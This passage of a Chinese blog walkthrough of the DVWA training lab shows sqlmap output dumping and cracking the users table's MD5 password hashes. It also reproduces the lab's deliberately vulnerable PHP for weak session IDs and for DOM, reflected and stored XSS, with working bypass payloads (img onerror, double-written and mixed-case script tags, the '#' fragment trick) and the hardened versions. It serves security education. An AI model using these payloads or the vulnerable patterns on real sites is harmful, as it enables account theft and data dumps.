http://127.0.0.1/dvwa/hackable/users/smithy.jpg [21:55:58] [INFO] resumed: 0 [21:55:58] [INFO] resumed: Bob [21:55:58] [INFO] resumed: 2018-03-08 22:33:32 [21:55:58] [INFO] resumed: Smith [21:55:58] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99 [21:55:58] [INFO] resumed: 5 [21:55:58] [INFO] recognized possible password hashes in column 'password' do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] do you want to crack them via a dictionary-based attack? [Y/n/q] [21:56:00] [INFO] using hash method 'md5_generic_passwd' [21:56:00] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99' [21:56:00] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03' [21:56:00] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7' [21:56:00] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b' [21:56:00] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3' Database: dvwa Table: users [5 entries] +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | user_id | avatar | user | password | last_name | first_name | last_login | failed_login | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ | 3 | http://127.0.0.1/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2018-03-08 22:33:32 | 0 | | 1 | http://127.0.0.1/dvwa/hackable/users/admin.jpg | admin | 21232f297a57a5a743894a0e4a801fc3 (admin) | admin | admin | 2018-03-13 10:53:08 | 0 | | 2 | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2018-03-08 22:33:32 | 0 | | 4 | http://127.0.0.1/dvwa/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2018-03-08 22:33:32 | 0 | | 5 | http://127.0.0.1/dvwa/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2018-03-08 22:33:32 | 0 | +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+ [21:56:00] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv' [21:56:00] [WARNING] HTTP error codes detected during run: 404 (Not Found) - 1 times [21:56:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115' [*] shutting down at 21:56:00 </code></pre> <h3>9.4 Impossible</h3> <p>代码：</p> <pre><code><?php if( isset( $_GET[ 'Submit' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $id = $_GET[ 'id' ]; // Was a number entered? if(is_numeric( $id )) { // Check the database $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); $data->bindParam( ':id', $id, PDO::PARAM_INT ); $data->execute(); // Get results if( $data->rowCount() == 1 ) { // Feedback for end user echo '<pre>User ID exists in the database.</pre>'; } else { // User wasn't found, so the page wasn't! header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); // Feedback for end user echo '<pre>User ID is MISSING from the database.</pre>'; } } } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <p>1.PDO技术防止sql注入；<br> 2.验证token防止csrf攻击；<br> 3.查询结果为一才输出结果，防止拖库。</p> <h1>10. Weak Session IDs</h1> <p>会话标识的生成。</p> <h3>10.1 Low</h3> <p>代码：</p> <pre><code><?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id'])) { $_SESSION['last_session_id'] = 0; } $_SESSION['last_session_id']++; #简单的+1。 $cookie_value = $_SESSION['last_session_id']; setcookie("dvwaSession", $cookie_value); } ?> </code></pre> <h3>10.2 Medium</h3> <p>代码：</p> <pre><code><?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = time(); setcookie("dvwaSession", $cookie_value); #用时间作为session。 } ?> </code></pre> <h3>10.3 High</h3> <p>代码：</p> <pre><code><?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { if (!isset ($_SESSION['last_session_id_high'])) { $_SESSION['last_session_id_high'] = 0; } $_SESSION['last_session_id_high']++; $cookie_value = md5($_SESSION['last_session_id_high']); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false); #setcookie(name,value,expire,path,domain,secure)，将session+1再md5编码之后设置为session，还设置了有效期为一个小时。 } ?> </code></pre> <h3>10.4 Impossible</h3> <p>代码：</p> <pre><code><?php $html = ""; if ($_SERVER['REQUEST_METHOD'] == "POST") { $cookie_value = sha1(mt_rand() . time() . "Impossible"); setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true); #哈希sha1(mt_rand() . time() . "Impossible")作为session。 } ?> </code></pre> <h1>11. DOM Based Cross Site Scripting (XSS)</h1> <p>跨站脚本攻击指的是攻击者通过注入，将恶意脚本插入到网页中或者存储到了web服务器中，从而使用户在点击网页时触发XSS攻击，达到cookie，token被盗取，密码被修改等目的。<br> DOM型XSS是一种特殊的反射型XSS，修改页面DOM节点形成的XSS。</p> <h3>11.1 Low</h3> <p>代码：</p> <pre><code><?php # No protections, anything goes ?> </code></pre> <p>没有任何过滤，url：<code>http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English<script>alert(1)</script></code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/091b8cfbc62644cda2f4a58d9e807de7.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/091b8cfbc62644cda2f4a58d9e807de7.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/1amusi3nz6d3myn1121dae6p/sdf.png" alt="DVWA实践_第30张图片" width="650" height="318" style="border:1px solid black;"></a> <div class="image-caption"> sdf.png-108.5kB </div> </div> <p></p> <h3>11.2 Medium</h3> <p>代码：</p> <pre><code><?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { $default = $_GET['default']; # Do not allow script tags if (stripos ($default, "<script") !== false) { #stripos() 函数查找字符串在另一字符串中第一次出现的位置（不区分大小写）。 header ("location: ?default=English"); exit; } } ?> </code></pre> <p>对url的default参数进行了过滤<code><script></code>,且stripos不区分大小写，不能用大小写混合绕过，使用其他标签：<code>http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English>/option></select><img src=1 onerror=alert(1)></code>首先突破select block ，再使用<code><img src=1 onerror=alert(1)></code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/d5a3f81a234e4b49b1b46a3ef35d2121.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/d5a3f81a234e4b49b1b46a3ef35d2121.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/ty44c87l6w2potcvhi0twyl2/k;.png" alt="DVWA实践_第31张图片" width="650" height="370" style="border:1px solid black;"></a> <div class="image-caption"> k;.png-150.2kB </div> </div> <p></p> <h3>11.3 High</h3> <p>代码：</p> <pre><code><?php // Is there any input? if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # White list the allowable languages switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": # ok break; default: header ("location: ?default=English"); exit; } } ?> </code></pre> <p>default参数设置了白名单,添加<code>#</code>,#后面的部分不会发送到web服务器中：<code>http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(1)</script></code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/338fe76cf49b4c339d018e3636099470.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/338fe76cf49b4c339d018e3636099470.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/tpddiustzm2wg0hguuwih8mh/agsd.png" alt="DVWA实践_第32张图片" width="650" height="366" style="border:1px solid black;"></a> <div class="image-caption"> agsd.png-115.9kB </div> </div> <p></p> <h3>11.4 Impossible</h3> <p>代码：</p> <pre><code><?php # Don't need to do anything, protction handled on the client side ?> </code></pre> <h1>12. Reflected Cross Site Scripting (XSS)</h1> <p>反射型XSS，只是简单的把用户输入的数据反射给浏览器，往往需要用户点击一个链接才能触发XSS攻击。</p> <h3>12.1 Low</h3> <p>代码：</p> <pre><code><?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Feedback for end user echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?> </code></pre> <p>get方法对输入的name参数没有进行任何过滤,在输入框输入<code><script>alert(1)</script></code>,<br> url:<code>http://192.168.0.115/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E#</code><br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/0afcfc3336f54fdb9fd6d9c5da54b9ff.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/0afcfc3336f54fdb9fd6d9c5da54b9ff.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/fodm5v1v436liaps1zbp4t5m/gre.png" alt="DVWA实践_第33张图片" width="650" height="308" style="border:1px solid black;"></a> <div class="image-caption"> gre.png-148.3kB </div> </div> <p></p> <h3>12.2 Medium</h3> <p>代码：</p> <pre><code><?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '<script>', '', $_GET[ 'name' ] ); #将<script>替换为''。 // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?> </code></pre> <p>str_replace() 函数以其他字符替换字符串中的一些字符（区分大小写）。<br> 用str_replace将<code><script></code>替换为<code>''</code>,采用双写可以绕过，或者大写绕过。<br> 双写绕过：<code><sc<script>ript>alert(1)</script></code><br> 大写绕过：<code><Script>alert(1)</script></code></p> <h3>12.3 High</h3> <p>代码：</p> <pre><code><?php header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>"; } ?> </code></pre> <ol> <li>正则表达式中i模式是对大小写不敏感，因此不能用大小写混合来绕过；</li> <li>正则表达式<code><(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t</code>,在各个字符之间也有<code>(.*)</code>匹配，不能用双写绕过；</li> <li>既然不能用<code><script></code>标签注入XSS代码，可以用其他标签如：<code><img src=1 onerror=alert(1)></code>,表示如果<code>src</code>错误，则执行<code>alert(1)</code>。<br> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/e75da6c6d9af4f0c95510f454ba928da.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/e75da6c6d9af4f0c95510f454ba928da.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/hw5afue70vhqcjbzhqs7fyd1/jfd.png" alt="DVWA实践_第34张图片" width="650" height="303" style="border:1px solid black;"></a> <div class="image-caption"> jfd.png-176.1kB </div> </div> </li> </ol> <h3>12.4 Impossible</h3> <p>代码：</p> <pre><code><?php // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $name = htmlspecialchars( $_GET[ 'name' ] ); #把预定义的字符&、”、 ’、<、>转换为HTML实体 // Feedback for end user echo "<pre>Hello ${name}</pre>"; } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <p></p> <p></p> 输入什么就输出什么： <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/7da14b451fb5417792d9c1d57b5ef28b.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/7da14b451fb5417792d9c1d57b5ef28b.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/fy1a8seliba457e6n12ps3c0/Screenshot-2018-3-15%20Vulnerability%20Reflected%20Cross%20Site%20Scripting%20(XSS)%20Damn%20Vulnerable%20Web%20Application%20(DVWA)%20v1%2010%20Develo%5B...%5D.png" alt="DVWA实践_第35张图片" width="650" height="238" style="border:1px solid black;"></a> <div class="image-caption"> Screenshot-2018-3-15 Vulnerability Reflected Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Develo[...].png-33.1kB </div> </div> <br> <p>加入了token验证防止csrf攻击；<br> htmlspecialchars函数将<,>转换为HTML实体，防止浏览器将其作为HTML元素。</p> <h1>13. Stored Cross Site Scripting (XSS)</h1> <p>存储型跨站脚本，将恶意的脚本注入到web服务器中，通常是通过留言板来注入，当其他用户访问此页面时，就会执行注入的脚本，触发XSS攻击，可以盗取cookie，token等。</p> <h3>13.1 Low</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); #trim函数移除字符串两侧的空白字符或其他预定义字符，预定义字符包括、\t、\n、\x0B、\r以及空格 $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); #删除反斜杠：\ $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitize name input $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> </code></pre> <p>stripslashes: 删除反斜杠<code>\</code>,但是使用<code><script>alert(1)</script></code>有效。<br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/37293e598e7f457b959ef55ae56da8cd.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/37293e598e7f457b959ef55ae56da8cd.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/g6k46wy2zguvpje26zuvxip5/Screenshot-2018-3-15%20Vulnerability%20Stored%20Cross%20Site%20Scripting%20(XSS)%20Damn%20Vulnerable%20Web%20Application%20(DVWA)%20v1%2010%20Developme%5B...%5D.png" alt="DVWA实践_第36张图片" width="650" height="368" style="border:1px solid black;"></a> <div class="image-caption"> Screenshot-2018-3-15 Vulnerability Stored Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Developme[...].png-44.1kB </div> </div> <p></p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/8ba22030022249588962e418609d4f10.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/8ba22030022249588962e418609d4f10.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/57isc8fq8fo6q0bu0rad1z71/rti.png" alt="DVWA实践_第37张图片" width="650" height="344" style="border:1px solid black;"></a> <div class="image-caption"> rti.png-177.3kB </div> </div> <br> <p>Name那一栏有字数限制，可以通过Burpsuite来修改name的值，也同样存在XSS漏洞。</p> <h3>13.2 Medium</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); #strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签，但允许使用<b>标签。 #addslashes() 函数返回在预定义字符（单引号、双引号、反斜杠、NULL）之前添加反斜杠的字符串。 $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); #htmlspecialchars函数将<,>转换为HTML实体，防止浏览器将其作为HTML元素。 // Sanitize name input $name = str_replace( '<script>', '', $name ); #对name参数进行了<script>g $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> </code></pre> <p>由于对message参数进行了htmlspecialchars，防止了XSS攻击，但是还有一个name参数，只对<code><script></code>进行了简单的过滤，可以通过Burpsuite修改：<code><Script>alert(1)</script></code>。<br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/9c3f6d69e02a411689d21247cd416348.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/9c3f6d69e02a411689d21247cd416348.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/971j4y6e9eyonq19hs1dklif/afghsf.png" alt="DVWA实践_第38张图片" width="650" height="341" style="border:1px solid black;"></a> <div class="image-caption"> afghsf.png-103.7kB </div> </div> <br> 写入成功，再次刷新页面，弹窗，说明触发了XSS。 <p></p> <h3>13.3 High</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); #htmlspecialchars函数将<,>转换为HTML实体，防止浏览器将其作为HTML元素。 // Sanitize name input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); #过滤，防止大小写和双写绕过 $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Update database $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //mysql_close(); } ?> </code></pre> <p>同样，message使用了htmlspecialchars函数，防止XSS。<br> name参数可以使用除<code><script></code>的其他标签绕过。<br> </p> <div class="image-package"> <a href="http://img.e-com-net.com/image/info10/326232062f574e01862b1bcecb62d2d3.jpg" target="_blank"><img src="http://img.e-com-net.com/image/info10/326232062f574e01862b1bcecb62d2d3.jpg" data-original-src="http://static.zybuluo.com/JasonChiu/93iynpwb0vwpu5xyqzsd65dp/sghd.png" alt="DVWA实践_第39张图片" width="650" height="343" style="border:1px solid black;"></a> <div class="image-caption"> sghd.png-97.8kB </div> </div> <br> 成功写入，刷新页面触发XSS。 <p></p> <h3>13.4 Impossible</h3> <p>代码：</p> <pre><code><?php if( isset( $_POST[ 'btnSign' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = stripslashes( $message ); #删除反斜杠：\ $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = stripslashes( $name ); $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $name = htmlspecialchars( $name ); // Update database $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); $data->bindParam( ':message', $message, PDO::PARAM_STR ); $data->bindParam( ':name', $name, PDO::PARAM_STR ); $data->execute(); } // Generate Anti-CSRF token generateSessionToken(); ?> </code></pre> <ol> <li>验证token防止CSRF攻击；</li> <li>PDO技术，防止SQL注入；</li> <li>对参数message和name都使用了 htmlspecialchars函数，防止XSS攻击。</li> </ol> </article> </div> </div> </div>  <div id="SOHUCS" sid="1207588457812168704"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script>  <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad">  <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div>  <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div>  <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(DVWA实践)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1835500750684385280.htm" title="拥有断舍离的心态，过精简生活--《断舍离》读书笔记" target="_blank">拥有断舍离的心态，过精简生活--《断舍离》读书笔记</a> <span class="text-muted">爱吃丸子的小樱桃</span> <div>不知不觉间房间里的东西越来越多，虽然摆放整齐，但也时常会觉得空间逼仄，令人心生烦闷。抱着断舍离的态度，我开始阅读《断舍离》这本书，希望从书中能找到一些有效的方法，帮助我实现空间、物品上的断舍离。《断舍离》是日本作家山下英子通过自己的经历、思考和实践总结而成的，整体内涵也从刚开始的私人生活哲学的“断舍离”升华成了“人生实践哲学”，接着又成为每个人都能实行的“改变人生的断舍离”，从“哲学”逐渐升华成“</div> </li> <li><a href="/article/1835497074049773568.htm" title="数组去重" target="_blank">数组去重</a> <span class="text-muted">好奇的猫猫猫</span> <div>整理自js中基础数据结构数组去重问题思考？如何去除数组中重复的项例如数组：[1,3,4,3,5]我们在做去重的时候，一开始想到的肯定是，逐个比较，外面一层循环，内层后一个与前一个一比较，如果是久不将当前这一项放进新的数组，挨个比较完之后返回一个新的去过重复的数组不好的实践方式上述方法效率极低，代码量还多，思考？有没有更好的方法这时候不禁一想当然有了！！！hashtable啊，通过对象的hash办法</div> </li> <li><a href="/article/1835496312687128576.htm" title="把握“三度”打造“三有”干部队伍" target="_blank">把握“三度”打造“三有”干部队伍</a> <span class="text-muted">辛德瑞拉卡卡卡</span> <div>“胜败兴亡之分，不得不归咎于人事也”。干部队伍建设工作的好坏，关系到党和国家的发展全局。近日，新疆维吾尔自治区党委书记马兴瑞在部分党群单位走访调研时强调，要努力培养造就忠诚干净担当的高素质专业化干部队伍。各级组织部门应当在培养选拔干部、吸收优秀青年到党内来、培养造就优秀人才上下功夫，切实增强干部投身实践、解决问题、推进工作的能力，着力打造高素质专业化干部队伍。“天生我材必有用”，增强选育有“准度”</div> </li> <li><a href="/article/1835495551186071552.htm" title="读书||陶新华《教育中的积极心理学》1—28" target="_blank">读书||陶新华《教育中的积极心理学》1—28</a> <span class="text-muted">流水淙淙2022</span> <div>读一本好书，尤如和一位高尚者对话，亦能对人的精神进行洗礼。但是若不能和实践结合起来，也只能落到空读书的状态。读书摘要与感想1、塞利格曼在《持续的幸福》一书中提出了幸福2.0理论，提出幸福由5个元素决定——积极情绪、投入的工作和生活、目标和意义、和谐的人际关系、成就感。2、人的大脑皮层在进行智力活动时，都伴有皮下中枢活动，对这些活动进行体验请假，并由此产生了情感解读。人的情绪情感体验总是优先于大脑的</div> </li> <li><a href="/article/1835480678255390720.htm" title="2019-01-19" target="_blank">2019-01-19</a> <span class="text-muted">王小康KK</span> <div>姓名:王康公司:扬州市方圆建筑工程有限公司2018年3月16日～3月18日上海361期《六项精进》感谢二组学员【日精进打卡第307天】【知～学习】《六项精进》大纲3遍共862遍《大学》通篇3遍共860遍《六项精进》全书40页【经典名句】思想决定行为，行为决定习惯，习惯决定性格，性格决定命运。【行～实践】一、修身：（对自己个人）1、践行六项精进的理念。二、齐家：（对家庭和家人）1、和女朋友视频聊天。</div> </li> <li><a href="/article/1835476858951528448.htm" title="提高教师信息素养，提高道德与法治课教学效益" target="_blank">提高教师信息素养，提高道德与法治课教学效益</a> <span class="text-muted">长白159宋彦红</span> <div>提高教师信息素养，提高道德与法治课教学效益随着经济和社会的发展，信息技术已经运用到课堂教学中，为课堂教学展示了一个崭新的天地。的确，信息技术形象、生动、直观性强，能够将课本中的一些抽想的概念直接展示在学生面前，从而调动学生的眼、耳、脑，让他们兴奋起来，变被动学习为主动学习，充分发挥教师的教育引导作用，创造一个可以使学生积极参与的场景。在制作、使用信息技术的实践过程中，本文拟就教师提升信息素养的必要</div> </li> <li><a href="/article/1835463737843216384.htm" title="【六项精进】20180930" target="_blank">【六项精进】20180930</a> <span class="text-muted">Kinnfoo</span> <div>一、学习与实践1.付出不亚于任何人的努力2.要谦虚，不要骄傲3.要每天反省4.活着，就要感谢5.积善行，思利他6.不要有感性的烦恼二、今日分享今天是9月的最后一个工作日，每个支行都在拼命地冲刺业绩，刚好今天同桌休假了，我就替他审核客户。一个上午就进件了6个客户，审核通过5个。这5个审核通过的客户里，1个因费率没谈拢而放弃，1个因车上发现GPS而被拒单，最终确认可放款的只有3个客户。感叹支行同事的不</div> </li> <li><a href="/article/1835460528621842432.htm" title="语文主题教学学习笔记之87" target="_blank">语文主题教学学习笔记之87</a> <span class="text-muted">东哥杂谈</span> <div>“语文主题教学”学习笔记之八十七（0125）今天继续学习小学语文主题教学的实践样态。板块三：教学中体现“书艺”味道。作为四大名著之一的《水浒传》，堪称我国文学宝库之经典。对从《水浒传》中摘选的单元，教师就要了解其原生态，即评书体特点。这也要求教师要了解一些常用的评书行话术语，然后在教学时适时地加入一些，让学生体味其文本中原有的特色。学生也要尽可能地通过朗读的方式，而不单是分析讲解的方式进行学习。细</div> </li> <li><a href="/article/1835454439767502848.htm" title="2019-03-24" target="_blank">2019-03-24</a> <span class="text-muted">李飞720</span> <div>姓名：李飞企业名称：临沂鑫道食品有限公司组别373期利他1组日精进打卡第338天】【知~学习】1、阿米巴经营一段2、活用人才1段3、活法、一段【行~实践】一、修身：读书、抽烟减量、俯卧撑个跑步3公里二、齐家、劝说老爸与姑姑和好三、建功、业务洽谈【经典名句分享】1、依据原理原则追求事物的本质，以“作为人，何谓正确”进行判断2、经营者必须为员工物质和精神两方面的幸福殚精竭虑，倾尽全力，必须超脱私心，让</div> </li> <li><a href="/article/1835432106029838336.htm" title="【RabbitMQ 项目】服务端：数据管理模块之绑定管理" target="_blank">【RabbitMQ 项目】服务端：数据管理模块之绑定管理</a> <span class="text-muted">月夜星辉雪</span> <a class="tag" taget="_blank" href="/search/rabbitmq/1.htm">rabbitmq</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E5%B8%83%E5%BC%8F/1.htm">分布式</a> <div>文章目录一.编写思路二.代码实践一.编写思路定义绑定信息类交换机名称队列名称绑定关键字：交换机的路由交换算法中会用到没有是否持久化的标志，因为绑定是否持久化取决于交换机和队列是否持久化，只有它们都持久化时绑定才需要持久化。绑定就好像一根绳子，两端连接着交换机和队列，当一方不存在，它就没有存在的必要了定义绑定持久化类构造函数：如果数据库文件不存在则创建，打开数据库，创建binding_table插入</div> </li> <li><a href="/article/1835429669504118784.htm" title="2019-04-10" target="_blank">2019-04-10</a> <span class="text-muted">shuaigefeng</span> <div>姓名：王林锋企业名称：三亚蔚蓝时代实业有限公司组别：420期努力6组【日精进打卡251天】【知~学习、诵读】《六项精进》2遍，累计256遍《大学》2遍，累计220遍【经典分享】1、想过成功、想过失败、也想过放弃。【行~实践】一、修身：（对自己个人）1.拍打腿部两侧50下，舌顶上颚50下。2.坚持诵读、阅读。3.坚持锻炼、按时睡觉起床。4.控制健康饮食，饭后走动30分钟。5.每天反省自己的思想和行为</div> </li> <li><a href="/article/1835429202871021568.htm" title="Python 课程10-单元测试" target="_blank">Python 课程10-单元测试</a> <span class="text-muted">可愛小吉</span> <a class="tag" taget="_blank" 